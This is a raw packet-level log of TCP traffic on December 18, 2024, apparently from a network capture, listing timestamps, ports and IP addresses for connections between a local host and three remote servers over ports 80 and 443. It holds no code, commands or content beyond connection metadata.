Dec 18, 2024 09:07:12.398216009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.398264885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.398298979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.398344040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.399271965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.399287939 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.399338961 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.400245905 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.400449038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.400507927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.401320934 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.401331902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.401371002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.402009964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.402065992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.402168036 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.402221918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.402960062 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.403011084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.403048992 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.403095007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.403901100 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.404278994 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.404335022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.405014038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.405025005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.405065060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.405093908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.405911922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.406172991 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.406233072 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.406795979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.406863928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.406891108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.406940937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.407759905 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.407838106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.407888889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.408695936 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.408749104 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.408772945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.408821106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.409781933 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.409826040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.409832001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.409874916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.410578012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.410628080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.410782099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.410830021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.411576986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.411640882 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.411689043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.412580967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.412630081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.412750959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.412801027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.413439035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.413492918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.413784027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.413832903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.414413929 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.414459944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.414561033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.414604902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.415359974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.415415049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.415447950 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.416290998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.416337013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.416451931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.416496992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.417304993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.417372942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.417382956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.417423010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.418198109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.418246031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.559813976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.559906960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.559986115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.560225010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.560261965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.560281992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.560314894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.560707092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.560762882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.560825109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.560879946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.561747074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.561803102 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.561856031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.561906099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.562700033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.562748909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.562817097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.562865019 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.563621044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.563757896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.563817978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.564526081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.564585924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.564644098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.564699888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.565504074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.565558910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.565612078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.565668106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.566445112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.566498041 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.566500902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.566551924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.567445040 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.567650080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.567723036 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.568386078 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.568443060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.568522930 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.568578005 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.569350004 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.569422007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.569539070 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.569591999 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.570269108 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.570326090 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.570357084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.570410013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.571228027 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.571278095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.571288109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.571340084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.572264910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.572315931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.572386026 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.573142052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.573196888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.573246002 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.573307037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.576673985 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.576721907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.576756001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.576787949 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.576790094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.576809883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.576822996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.576845884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.576858044 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.576872110 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.576900959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.577528954 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.577584028 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.577663898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.577716112 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.578675985 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.578739882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.578811884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.578862906 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.579572916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.579607964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.579664946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.580352068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.580388069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.580413103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.580442905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.581254005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.581305981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.581389904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.581439972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.582140923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.582187891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.582349062 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.582412004 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.582691908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.582741976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.582803011 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.582863092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.583755970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.583910942 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.583976984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.586734056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.586796999 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.586882114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.586930037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.587402105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.587435961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.587450027 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.587470055 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.587503910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.587512970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.587547064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.588104963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.588145018 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.588155985 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.588190079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.588807106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.588860989 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.588985920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.589035988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:12.589910984 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:12.589962006 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:14.781272888 CET	49710	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:14.781665087 CET	49712	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:14.901475906 CET	80	49710	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:14.901568890 CET	80	49712	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:14.901633978 CET	49710	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:14.901710033 CET	49712	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:14.902106047 CET	49712	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:15.022389889 CET	80	49712	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:16.095633984 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:16.095694065 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:16.095808029 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:16.099016905 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:16.099034071 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:16.245498896 CET	80	49712	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:16.245822906 CET	49712	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:16.247145891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:16.247457981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:16.367027044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:16.367063999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:16.367111921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:16.367153883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:16.367350101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:16.486910105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.329078913 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:17.329176903 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:17.330795050 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:17.330826998 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:17.331243038 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:17.374182940 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:17.379827976 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:17.379827976 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:17.380009890 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:17.690732956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.690828085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.690864086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.690884113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.690938950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.690938950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691036940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691082001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691093922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691131115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691139936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691168070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691169977 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691205978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691524982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691556931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691580057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691591024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.691591978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.691632986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.810664892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.810735941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.810806990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.810863972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.814686060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.814754963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.881771088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.881880999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.881895065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.881997108 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.885853052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.885978937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.886039019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.886091948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.894251108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.894309998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.894335032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.894386053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.902944088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.903038979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.903141022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.903189898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.911370039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.911415100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.911539078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.919039011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.919121981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.919183969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.919241905 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.927510023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.927628040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.927645922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.927695990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.935750008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.935805082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.935914040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.935957909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.944221973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.944281101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.944556952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.944605112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.952522993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.952574015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.952644110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.952691078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.960448980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.960545063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:17.960568905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:17.960617065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.072392941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.072455883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.072652102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.080054998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.080107927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.080303907 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:18.080410004 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:18.080476999 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:18.082720041 CET	49713	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:18.082758904 CET	443	49713	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:18.090512991 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:18.090568066 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:18.090658903 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:18.090931892 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:18.090956926 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:18.192363977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.192466021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.192513943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.192564011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.199724913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.199760914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.199776888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.199804068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.311702013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.311774015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.311825991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.311908007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.311927080 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.311944008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.311955929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.311980009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.311990976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312014103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312033892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312050104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312066078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312088013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.312103033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.312123060 CET	80	49714	31.41.244.11	192.168.2.8
